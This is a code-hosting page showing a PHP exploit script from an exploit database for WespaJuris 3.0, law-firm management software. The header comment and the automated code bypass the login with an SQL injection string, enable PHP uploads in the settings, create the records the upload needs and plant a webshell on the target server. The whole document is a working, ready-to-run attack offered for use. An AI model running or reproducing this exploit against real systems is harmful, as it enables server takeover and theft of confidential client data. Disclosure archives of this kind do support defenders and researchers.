PageRenderTime 50ms CodeModel.GetById 22ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/php/webapps/20342.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 248 lines | 148 code | 8 blank | 92 comment | 6 complexity | ef665bfd3723a9dcd26052264d23ec54 MD5 | raw file
Possible License(s): GPL-2.0
  1. <?php
  2. /*
  3. # Exploit Title: WespaJuris <= 3.0 auto exploit
  4. # Date: 07th august 2012
  5. # Exploit Author: WhiteCollarGroup
  6. # Vendor Homepage: http://www.wespadigital.com.br/
  7. # Software Link: http://www.wespadigital.com.br/download/wespajuris_v3_0_2012.rar
  8. # Version: 3.0
  9. # Tested on: Apache Server
  10. WespaJuris is a software for law firms.
  11. Use this exploit to upload a webshell on vulnerable applications.
  12. Usage:
  13. php exploit.php
  14. Example
  15. $ php exploit.php
  16. WespaJuris <= 3.0 exploit
  17. Coded by WhiteCollarGroup
  18. Type Ctrl + C for exit
  19. Try "php exploit.php /about" for get info
  20. [?] Target address (login form):
  21. http://localhost/juris/
  22. [?] Webshell path (in your computer):
  23. C:\wamp\www\webshell.php
  24. [*] Login...
  25. [*] Trying to add php on allowed file formats.
  26. [*] Adding a new client.
  27. [*] Getting new client ID
  28. [!] Client ID: 30
  29. [*] Adding a new process.
  30. [*] Getting new process ID.
  31. [!] New process ID: 37
  32. [*] Adding new task.
  33. [*] Getting new task ID
  34. [*] New task ID: 16
  35. [*] Adding new doc type.
  36. [*] Trying to get new doc type ID.
  37. [!] New doc type ID: 7
  38. [*] Trying to upload file...
  39. [*] Thinking about file address...
  40. [!] Exploit complete.
  41. [i] You have now a webshell in <http://localhost/juris/clientdir/30/dl/webshell.php>
  42. Then, go to http://localhost/juris/clientdir/30/dl/webshell.php and see your webshell.
  43. :: How this exploit works? Manually work.
  44. ~> Login bypass
  45. On login form, enter "SQLi strings":
  46. Login: ' or 1=1-- wc
  47. Pass: wcgroup
  48. ~> Configure file formats
  49. Go to "CONFIGURAÇÕES".
  50. In "Extensões de documentos", add "php".
  51. BEGIN Do it only if the system is blank
  52. ~> Add new client
  53. Go to "CLIENTES E USUÁRIOS" > "adicionar".
  54. Add your own user.
  55. ~> Add new process
  56. Go to "PROCESSOS" > "adicionar".
  57. Add your own process.
  58. ~> Add new task
  59. Go to "PROCESSOS".
  60. Click on the process that you've created.
  61. In "Tarefas", click "Adicionar".
  62. ~> Add new document type
  63. Go to "DOCUMENTOS".
  64. Click "ADICIONAR/EDITAR TIPO DOCUMENTO".
  65. In "Adicionar Tipo de Documento" form, type anything and then, click "Adicionar".
  66. END Do it only if the system is blank
  67. ~> Get arbitrary file upload
  68. Go to "DOCUMENTOS".
  69. Click "ADICIONAR DOCUMENTO".
  70. In "Título", select a client and a process. Click "PROSSEGUIR".
  71. Select a task in "TAREFAS", a document type in "Escolha um Tipo".
  72. In "Título do documento", type anything.
  73. Upload file in "Subir arquivo do Documento". Leaves "Link para Documento na Internet" empty.
  74. Click "Adicionar Novo Documento".
  75. Click "DOCUMENTOS" and click on the your webshell.
  76. */
  77. set_time_limit(0);
  78. echo "WespaJuris <= 3.0 auto exploit\n";
  79. echo "Coded by WhiteCollarGroup\n";
  80. echo "Type Ctrl + C for exit\n";
  81. if((isset($argv[1])) AND ($argv[1]=="/about")) {
  82. echo "WhiteCollarGroup\nwww.wcgroup.host56.com\nwhitecollar_group@hotmail.com\nTwitter/Facebook/Blogspot: WCollarGroup\nirc.virtualife.com.br #wcgroup\n\n";
  83. exit;
  84. } else {
  85. echo "Try \"php $argv[0] /about\" for get info\n";
  86. }
  87. echo "\n";
  88. if(!function_exists("curl_init")) {
  89. echo "PHP CURL was not found on this system.\n";
  90. echo "Linux (Debian-like apt system): Type the following command on shell:\n";
  91. echo "# apt-get install php5-curl\n\n";
  92. echo "Unix: Edit your file php.ini and remove \";\" from following line:\n";
  93. echo ";extension=curl.so\n\n";
  94. echo "Windows: Edit your file php.ini and remove \";\" from following line:\n";
  95. echo ";extension=php_curl.dll\n\n";
  96. echo "Read more: http://www.php.net/manual/book.curl.php\n\n";
  97. exit;
  98. }
  99. puts("Target address (login form):", "[?]");
  100. $target = trim(fgets(STDIN));
  101. $target = preg_replace("/index\.php$/", null, $target);
  102. $target = preg_replace("/\/$/", null, $target);
  103. puts("Webshell path (in your computer):", "[?]");
  104. do {
  105. $webshell = trim(fgets(STDIN));
  106. if(!file_exists($webshell)) echo "File not found!";
  107. } while(!file_exists($webshell));
  108. $ch = curl_init();
  109. // login
  110. puts("Login...");
  111. curl_setopt($ch, CURLOPT_URL, $target."/process_login.php");
  112. curl_setopt($ch, CURLOPT_REFERER, $target);
  113. curl_setopt($ch, CURLOPT_POST, 1);
  114. curl_setopt($ch, CURLOPT_POSTFIELDS, "do=login&username=".urlencode("' or 1=1-- wc")."&password=wcgroup");
  115. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  116. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  117. curl_setopt($ch, CURLOPT_TIMEOUT, 60);
  118. curl_setopt($ch, CURLOPT_COOKIEJAR, "wcgroup.txt");
  119. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  120. $store = curl_exec($ch);
  121. if(preg_match("/Dados de acesso incorretos, por favor tente novamente/", $store)) {
  122. puts("Could not login.", "[-]");
  123. echo "Make sure that the server uses a vulnerable version of WespaJuris.\n";
  124. exit;
  125. }
  126. // config file format
  127. $ext = end(explode(".", $webshell));
  128. puts("Trying to add $ext on allowed file formats.");
  129. curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=settings");
  130. curl_setopt($ch, CURLOPT_POSTFIELDS, "task=defsideset&new_serverdiff=0&new_dateformat=".urlencode("%Y/%c/%e")."&new_extensions=".urlencode("$ext,php,jpg,jpeg,gif,png,psd,zip,ai,pdf,doc"));
  131. curl_exec($ch);
  132. // add client
  133. puts("Adding a new client.");
  134. curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=addclient");
  135. curl_setopt($ch, CURLOPT_POSTFIELDS, "task=addclient&company=WhiteCollarGroup&address1=www.wcgroup.host56.com&address2=whitecollar_group%40hotmail.com&city=%40WCollarGroup&state=facebook.com%2FWCollarGroup&zip=wcollargroup.blogspot.com&country=irc.virtualife.com.br+%23wcgroup&phone=WCGroup&phone_alt=This+was+a+auto+exploit&fax=We+did+not+hack+your+website");
  136. curl_exec($ch);
  137. // get user ID
  138. puts("Getting new client ID");
  139. curl_setopt($ch, CURLOPT_POST, 0);
  140. curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=addfiles");
  141. $store = curl_exec($ch);
  142. $numbers = array();
  143. preg_match_all("/<option value=\"main\.php\?pg=addfiles&clid=(.*)\">WhiteCollarGroup<\/option>/", $store, $numbers);
  144. $uid = $numbers[1][0];
  145. puts("Client ID: $uid", "[!]");
  146. // add process
  147. puts("Adding a new process.");
  148. curl_setopt($ch, CURLOPT_POST, 1);
  149. curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=addproj");
  150. curl_setopt($ch, CURLOPT_POSTFIELDS, "task=addproject&client_id=".$uid."&project_title=HackMySite&description=WCGroup+did+not+hacked+your+website.%0D%0AWCGroup+only+wrote+the+exploit+for+this+CMS+and+did+public+release.&startdate=08%2F06%2F2012&startdate_Month=7&miledate=08%2F06%2F2999&miledate_Month=7&findate=&findate_Month=&cost=0.00&status=Arquivado");
  151. $store = curl_exec($ch);
  152. // get process ID
  153. puts("Getting new process ID.");
  154. $numbers = array();
  155. preg_match_all("/main\.php\?pg=projperms&pid=([0-9]*)/", $store, $numbers);
  156. $pid = $numbers[1][0];
  157. puts("New process ID: $pid", "[!]");
  158. // add task
  159. puts("Adding new task.");
  160. curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=addtask");
  161. curl_setopt($ch, CURLOPT_POSTFIELDS, "task=addtask&clid=$uid&pid=$pid&client_id=main.php%3Fpg%3Daddtask%26clid%3D$uid&pid=$pid&task_title=Hacked+site&description=Sorry%2C+admin.&startdate=08%2F06%2F2012&startdate_Month=7&miledate=08%2F06%2F2999&miledate_Month=7&findate=&findate_Month=&status=Em+andamento¬es=Check+www.wcgroup.host56.com+for+details&tuid=0");
  162. $store = curl_exec($ch);
  163. // get task id
  164. puts("Getting new task ID");
  165. curl_setopt($ch, CURLOPT_POST, 0);
  166. curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=proj&clid=$uid&pid=$pid");
  167. $store = curl_exec($ch);
  168. $numbers = array();
  169. preg_match_all("/main\.php\?pg=edittask&clid=$uid&pid=$pid&tid=([0-9]*)/", $store, $numbers);
  170. $taskid = $numbers[1][0];
  171. puts("New task ID: $taskid");
  172. // add doc type
  173. puts("Adding new doc type.");
  174. curl_setopt($ch, CURLOPT_POST, 1);
  175. curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=filetypes");
  176. curl_setopt($ch, CURLOPT_POSTFIELDS, "task=addfiletype&file_type=hack");
  177. curl_exec($ch);
  178. // get doc type id
  179. puts("Trying to get new doc type ID.");
  180. curl_setopt($ch, CURLOPT_POST, 0);
  181. curl_setopt($ch, CURLOPT_URL, $target."/admin/main.php?pg=filetypes");
  182. $store = curl_exec($ch);
  183. $numbers = array();
  184. preg_match_all("/main\.php\?pg=filetypes&task=deltype&type_id=([0-9]*)/", $store, $numbers);
  185. $tid = $numbers[1][0];
  186. puts("New doc type ID: $tid", "[!]");
  187. // upload file
  188. puts("Trying to upload file...");
  189. curl_setopt($ch, CURLOPT_POST, 1);
  190. $post = array(
  191. "task" => "addfile",
  192. "client_id" => $uid,
  193. "from" => "step1",
  194. "project_id" => $pid,
  195. "clid" => $uid,
  196. "task_id" => $taskid,
  197. "type_id" => $tid,
  198. "file_title" => "wcgroup",
  199. "file" => "@$webshell"
  200. );
  201. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  202. curl_exec($ch);
  203. // make file address
  204. puts("Thinking about file address...");
  205. $fileaddr = $target."/clientdir/$uid/dl/".basename($webshell);
  206. puts("Exploit complete.", "[!]");
  207. puts("You have now a webshell in <$fileaddr>", "[i]");
  208. function puts($str, $type=false) {
  209. if(!$type) $type = "[*]";
  210. echo $type." ".$str."\n";
  211. }